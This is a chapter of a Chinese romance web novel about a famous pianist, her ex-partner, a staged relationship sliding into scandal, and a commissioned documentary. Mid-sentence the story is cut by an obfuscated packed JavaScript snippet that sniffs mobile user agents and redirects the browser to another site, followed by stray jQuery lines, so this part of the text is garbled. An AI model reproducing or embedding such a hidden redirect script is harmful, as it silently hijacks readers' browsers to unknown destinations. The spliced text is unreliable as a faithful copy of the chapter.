那天之后两人没有再联系。


    梁初灵飞了两次上海，一次香港，要给音乐学院的钢琴教师和尖子生上课，这种活动她近年参与得越来越少，但有些邀请的层级和意义，让她无法用档期已满轻松推脱。


    课倒是上得顺利，那些年轻学生看她的眼神里全是仰望和紧张，只是上完课回到酒店总觉得疲惫，挥之不去的被无数目光打量的疲惫。


    上完这三场，北京也有一场等着她……


    飞机落地，助理跟在她身后：“梁老师，咱们直接去酒店吧。晚上有个欢迎晚宴，几位领导都会出席。明天的课程安排在上午九点，下午是公开大师课，有媒体到场……”


    梁初灵嗯了一声，脚步不停，已习惯这种被安排得滴水不漏的行程。


    欢迎晚宴上，梁初灵微笑着与领导们握手，接受着那些或真诚或客套的赞美，并得体地回应。


    一位分管文化的领导举酒杯：“梁老师，我听说你这次回国，除了演出，还有不少私人安排？家里都还好吧？”


    梁初灵微笑着举水杯：“谢谢关心，一切都好。”


    对方也不好再追问，笑着碰了杯。


    晚上回酒店房间，看见房间门口放满了鲜花、蛋糕和情书。


    梁初灵熟练，立刻联系前台换了间房。助理同样熟练，进房间拿行李再放到新房间。


    ……


    第二天下午的公开大师课来了更多观众，包含一些社会名流。梁初灵在人群中看到一个她并不想见的身影。


    周序。


    他坐在第三排靠走道的位置，头发比上次见时短了些，没有戴墨镜或口罩，就那么坦然地坐在那里，迎上梁初灵的目光，还点了点头。


    梁初灵也冲他点了点头。


    中场休息，梁初灵走向后台，助理跟进来递上水杯：“梁老师，周序老师刚才托工作人员传话，问您结束后是否有时间喝杯咖啡。”


    梁初灵犹豫了一下，她其实想立刻回酒店，但拒绝反而显得刻意。


    这五年来，她们的关系其实并非外界猜测那般势同水火，甚至比风波之前更为正常。


    那场痛苦过后，二人各自狼狈，各自成长。


    周序经历了事业的重创和漫长的修复期，棱角磨平了些。


    梁初灵则在他的狼狈退场中，学会了更冷静地处理一切关系。


    她们还合作过几次，偶尔在音乐节碰面也会寒暄，绝口不提过往。


    只是大众早已对这段旧闻失去兴趣，转而追逐更新鲜的八卦。


    两人都选了靠窗的位置，相对而坐。


    梁初灵后到，咖啡已点好。她到了后把耳夹取下来放桌上，她没打耳洞，造型师给她借了对耳夹，夹到现在耳垂痛得不行。


    最初的寒暄过后，周序的话匣子打开：“今年的巡演安排怎么这么少？你初中时一年三十场巡演，怎么今年只有十二场？”


    梁初灵嗯了一声：“想休息一下，多陪陪家人。”


    “是在调整？”


    “是吧。”梁初灵其实不知道自己要调整什么……只是也不好奇，不想问，周序说，她就应。应完端起杯子，借这个动作避开周序的注视，她不太喜欢这种被细致打探的感觉。


    “既然决定要调整，你就应该直接分手。昨晚伊凡还跟人拼酒，甚至在后台对工作人员发脾气。他在欧洲圈子的名声也不干净吧？你就这么爱他？”周序起手很快，事实上这才是他约梁初灵喝咖啡的原因。


    梁初灵不爱喝咖啡，抿了一口后就放下杯子，依然保持沉默，她当然知道伊凡是什么样的人。


    周序看她不说话，还以为是被自己的言语打动，继续：“伊凡不够尊重你，也不够爱你。那你为什么还要继续？分手吧。他不值得。”


    “这是我的事。”梁初灵很烦被别人来定义值不值得，脸色变得不好。


    “就因为是你的事，我才要说！”周序不退反进，“跟他分手。他不忠，你值得更好的。”


    “什么是更好的？”梁初灵忽然问，“你吗？”


    周序坦然承认：“对，我。你现在就跟伊凡分手。”


    梁初灵感到烦躁，逆反心理上来：“我就不分。”


    周序气得一口气差点没上来，但，他这五年的成长还包括于——学会了要如何做，才能跟梁初灵长久的相处下去。


    所以周序忽然笑了一下，转变话题：“行。那之后有什么安排？你今年的最后一场巡演是十二月底吧？在挪威？”


    梁初灵皱眉：“周序。”


    “嗯？”


    “我的行程好像不需要向你报备吧？”


    周序身体往后靠：“抱歉，习惯了。总想多知道一点。”


    “不过，有些消息不用刻意打听也能知道。十二月底那场是特罗姆瑟的低碳音乐会，对吧？”


    梁初灵抬眼看他。对方保密工作做得不错，周序怎么会知道？


    看穿她的疑惑，周序揭秘：“我也受邀了，而且就在你演出的后一天。”


    “组委会问我档期的时候，我一开始选了你那天，对方就跟我讲了那天属于你。怎么样，很有缘分吧？”


    梁初灵忍不住：“真不是你故意的？你可以不应邀啊。”


    “当然是我故意的。”周序答得理所当然，“这么好的机会，怎么能错过？梁老师，给个同台，不，同城演出的机会？”


    他的直白反而让梁初灵那点不快消散，只剩下无奈，“随你便。”


    “那就说定了，”周序举起咖啡杯，要跟她碰杯，“下个月底，特罗姆瑟见。说不定还能一起看极光，如果那几天天气好的话。”


    梁初灵没碰杯，只是说：“看情况吧。我还有事，先走了。”


    往外走的时候，才发现自己身后被绿植和屏风半遮挡住的卡座，坐着李寻和黄潇，两人面前摊着文件和电脑。


    黄潇低头在纸质剧本上画圈圈，李寻抬头看向梁初灵。


    李寻脸上没什么表情：“好巧。”


    梁初灵移开视线，也回了同样两个字：“好巧。”


    说完离开，李寻的视线追随着她的背影消失在门口，才缓缓收回。


    李寻这边的影片进入后期，周期压得短，李寻作为导演和剪辑指导更是连轴转，往往凌晨离开，上午又出现，眼睛里带着血丝，下巴上的胡茬没空打理。


    黄潇作为编剧也不轻松，且她除了与李寻合作，自己手里还有个电影本子在推进。


    今天剪辑室突然停电，二人就出来讨论工作。


    黄潇想起什么，压低声音：“咱们要不要提醒提醒梁老师啊？”


    李寻从时间线上抬起头，有点诧异，刚才梁初灵和周序的聊天二人的确听见了几句，但黄潇不是这样好管别人私事的人。


    黄潇只好继续：“我那个电影，本来宣传曲是要和伊凡合作的，都在走合同了，结果这两天接到通知，不让用他了。


    “为什么？”


    “风声不对呗。上面收到了一些伊凡的材料，跟违法相关，问题不小。伊凡背后有资源，所以现在是在压，但能不能压住难说。圈里消息灵通的都已经开始规避风险了。这种时候谁敢用他？烦死了，男人真的很不稳定！”


    说完这些，黄潇更是一脸恶心地补充：“除了这个……还有一个我也不知道真假的瓜，有人说伊凡是gay，那梁老师是不是被骗了啊？”


    在这个行业里，一个名人是否即将塌房，往往业内最先感知风向。政策的收紧、来自上层的态度、合作方的撤退，都是清晰的信号。


    娱乐圈起落沉浮，李寻见得不多，但不觉稀奇。


    但是……


    他脑子有点乱，也不想在咖啡厅里谈这事儿，只能让黄潇继续看看影片时间线、换换脑子，黄潇气得顺嘴也骂了李寻一句周扒皮！


    到了第二天，李寻就又看到伊凡和梁初灵一起并排挂在热搜前列，不止一条。


    先是几个营销号发布长文，说俄罗斯天才钢琴家伊凡，为了梁初灵，接下众多在中国的工作邀约，频繁往返中俄，被赞为爱走天涯。


    文章极尽渲染之能事，描绘伊凡如何深情款款，如何在采访中含蓄表达对梁初灵的欣赏与爱意，塑造了一个痴情又才华横溢的完美年下形象。


    评论区不少网友大呼好甜，羡慕梁初灵。


    混杂其中的，还有另一条视频。


    画面是私人聚会，光线昏暗，镜头晃动，伊凡情绪激动地与另一个男子扭打在一起。


    视频配文耸人听闻【惊！梁初灵新欢曝光？伊凡深夜为爱打架！】


    于是评论区少有针对伊凡打架的批评，大多是嘲笑伊凡一腔深情喂了狗。


    也让更多人对准梁初灵，揣测她脚踏两条船。


    关联热搜也在攀爬，【伊凡梁初灵各玩各的】，点进去，是更多所谓知情人爆料，称两人早已私下各有新欢。


    如此密集的，正面与负面交织的热搜，太像一套组合拳，先用深情人设转移对潜在丑闻的注意力，同时抛出另一个冲突事件，引导舆论走向情感纠纷而非品行问题，将梁初灵也拖下水，成为话题的一部分。


    李寻太阳穴突突直跳。


    黄潇昨天的话言犹在耳，伊凡团队在这种敏感时刻，不但不低调，反而营销深情形象，是打算最后捞一波好感，还是想拉梁初灵共沉沦？那些爆料，是意外泄露，还是有人故意放出来搅浑水？


    无论哪种，梁初灵都成为了吸引火力的靶子。


    李寻知道梁初灵不在乎大多数评价，但在乎不被利用。


    头更痛了……


    --


    李炽那边也遇到了坎。


    李寻的助理敲门进来：“导演，李炽老师来了。”


    话音刚落，李炽已经风风火火走了进来，脸色不太好看。


    李寻站起身：“怎么了？”


    李炽在沙发上坐下，揉了揉太阳穴：“你这边进度怎么样？”


    “粗剪完成了，按计划，月底能出成片。”


    “月底。”李炽喃喃重复，脸色更沉。


    李寻察觉到不对：“出什么事了？”


    李炽从包里拿出一份文件拍在桌上：“审核那边，卡住了。”


    李寻拿起文件翻看。是影片送审后，审核部门反馈的意见函，洋洋洒洒好几页，列出了十几条问题。


    有些是技术性的，如个别镜头色调不统一。


    有些是内容性的，如过度强调乐团的商业属性，弱化了艺术追求。


    还有些是莫须有的，对方暗示题材很好，但表达上可以更具有积极导向性，如果能更好地展现国家音乐文化建设的成就就更好了。


    李炽气得跟李寻抱怨：“什么叫更积极的导向性？我们拍的难道是负面吗？展现乐团从无到有，华裔音乐家在国际上争取一席之地，这还不够积极？”


    “这是刁难吧。”李寻放下文件，“影片完全符合规定，所有报备手续齐全，拍摄内容也都在审批范围内。”


    “我知道。但人家就是不给你过，你能怎么办？拖你三个月，所有宣发计划全打乱，演出季都过了，这片子就算出来也错过了最佳传播期。”


    “他们想要什么？”李寻直截了当问。


    李炽看着他：“今天下午，他们的人私下联系我，说有个折中方案。”


    “什么方案？”


    “他们想要拍摄一部纪录片。”李炽说，“一部关于华人钢琴家的纪录片。刚结束的肖赛，前十名全都是华人钢琴家。现在国际上，华人钢琴家的地位和关注度空前的高。上面想借这个东风，拍一部有分量的纪录片，推广到国际上去，也算是文化输出的一部分。”


    李寻隐约猜到了什么：“他们想让你来牵头？”


    “不止。他们还指名要你操刀执导，要我动用关系和人脉，确保这部纪录片的高质量和国际影响力。片子要涵盖七位钢琴家，从老一辈到新生代，要展现国家钢琴教育的成就，也要突出个人奋斗和艺术追求巴拉巴拉的……总之，是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874664|189655||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一部献礼片。”


    李寻沉默，审核卡住李炽的乐团影片，是为了逼她就范，接下这个任务。而他也要被捆绑进这个计划。


    “如果我们不接呢？”李寻问，站起来给李炽倒杯热水。


    “那我们的影片就无限期卡着。而且不止这一部，以后乐团的项目，恐怕会遇到阻碍。你知道的，在这个圈子里，有些人想给你使绊子，方法多的是。”李炽接过但没想法喝。


    “七位钢琴家，都有谁？”他问。


    李炽报了几个名字。都是业内响当当的人物，有德高望重的老前辈，有正当壮年的中流砥柱，也有近年崭露头角的新星。


    最后，她说：“还有我，和梁初灵。”


    李寻转过身。


    房间里安静下来。只有电脑主机运转的嗡嗡声。


    “他们不会放过这个机会。华人钢琴家里，国际知名度最高，话题性最强，又刚好都在国内的，就是我和初灵。有我们俩在，这部纪录片在国际上才有关注度。他们算盘打得很精。”


    李寻走回桌边，拿起那份意见函，又放下。


    “接吧。”最终，他说，“片子总要做完。这也是一个机会，纪录片本身……也有意义。”


    “那初灵那边……”


    “公对公邀请。”李寻打断她，“通过正规渠道发函。她接不接是她的事。我们做好我们该做的就行。”


    李炽拿到了他的同意，马不停蹄出去见人了，李寻长长叹一口气，给李炽倒的那杯水她没喝，李寻自己拿起来一口气喝了半杯。


    愁、忙、累。


    接下这个任务，是为了李炽的片子能顺利过审，履行一个导演的承诺。


    但同时在他胸腔里也藏着私心，或许，这也能帮梁初灵——如果她需要这份帮助，自然会接下，也能从包围中暂时解困；如果是自己多想，她并不需要帮助，或者实在是抵触拍摄镜头，那拒掉就好。


    --


    周序打来电话，说耳夹落在了那天的咖啡店，问梁初灵什么时候有空，自己给她送过来。


    梁初灵一拍大腿！是说呢，自己老觉得少了点什么东西！


    那还是别人的耳夹呢！


    造型师一直没问估计是怕她尴尬……


    别人的东西得还，她让周序有空的话直接送她家里去，张姨在家。


    梁初灵暂时是不想跟周序碰面，怕一见上面对方又要拉着她聊个没完。


    与周序这边尚算可控的关注感相比，其余麻烦则让梁初灵感到实在的厌烦。


    先是梁父过去的一个老部下，如今自己开了家文化公司，辗转通过妈女士，说想请梁初灵赏光吃个便饭，聊聊合作可能。


    妈女士婉拒了，对方却锲而不舍，打听到了梁初灵工作室的邮箱，发来措辞恭敬但意图明显的长信，字里行间透着对梁初灵的仰慕和与梁总的旧日情谊。


    梁初灵让助理回了封拒信，结果对方竟开始与助理邮件往来，大谈艺术理想与当年和梁总的情谊，助理被缠得焦头烂额，直呼这人怕不是有点社交障碍。


    更棘手的是伊凡那边。原本两人约定只在必要时配合公开露面，但最近伊凡团队的操作开始越发不受控。


    伊凡团队开始放一些令人尴尬的恋爱细节，试图用甜蜜的恋爱故事掩盖可能的风雨。


    比如伊凡连夜谱写的献给梁初灵的小夜曲，伊凡推掉重要演出只为陪梁初灵过生日，甚至暗示两人好事将近。


    最近一条热搜更是荒谬，【伊凡为爱学中文】，配图是伊凡拿着一本儿童汉语课本的摆拍，评论区一片好甜。


    而伊凡的经纪人打来电话：“梁老师，伊凡下个月初的独奏音乐会，如果能邀请您作为惊喜嘉宾，在音乐会的安可环节与伊凡来一段双钢琴，效果一定会非常轰动。”


    梁初灵二话没说就拒绝。


    经纪人再开口时，语气里的热情褪去：“梁老师，您也知道，伊凡最近面临一些不太友好的舆论环境，对他的形象造成了一些影响。他母亲为此非常忧心，昨天甚至因为血压问题进了医院观察。”


    “伊凡非常孝顺，得知母亲入院后，情绪很低落。叶莲娜老师醒来后，最挂念的仍然是儿子的前程。”


    “梁老师，就算不看在我们合作的情分上，也请看在叶莲娜老师对您的赏识和提携，以及她如今病中心仍不安的份上，再考虑一下？我们真的非常需要您的帮助。”


    窗外的秋阳很好，好得有点不知天高地厚。


    梁初灵依然可以拒绝，但却找不到一个绝对的理由能拿出来说服一切。四周都是看似笑脸盈盈，实则各怀心思。


    她拥有拒绝的权力，但每一次拒绝，都可能引发新的麻烦，消耗她的精力，损害她的形象。她渴望一个能让她同时从这两件糟心事中脱身的理由。


    于是那份邀约，是精准投递的一根稻草，游到了她的面前。


    当经纪人将详细的纪录片企划书和导演名单递给梁初灵时，尽管她一眼就看到了李寻，但——


    “接。”


    这不啻于一场及时雨，以即将投入国家级纪录片拍摄为由，可以回绝掉所有其它合作可能。


    那些想蹭热度的，想施加压力的，都不得不退避三舍。谁也不敢在这个节骨眼上，去干扰一项如此高度政治和文化意义的工作。


    “我马上去办！”经纪人立刻转身去安排。


    房间里只剩下梁初灵一个人，她走到窗边，看着楼下花园里渐深的秋色，草木繁荣，与天色枯荣与共。


    答应参与纪录片，意味着在未来一段时间里，她将不可避免地与李寻产生大量工作交集。但两害相权取其轻，而且和李寻合作，她其实觉得很安全。


    无数人打着关心、欣赏、旧情、合作的旗号，想吸一口她的血，或是借着与她产生关联，去润滑其他关系。


    这五年，她并非没有长进，这些长进的本钱来源都是关注和爱意。


    梁初灵不缺爱意，但却没再得到李寻给过她的安全感。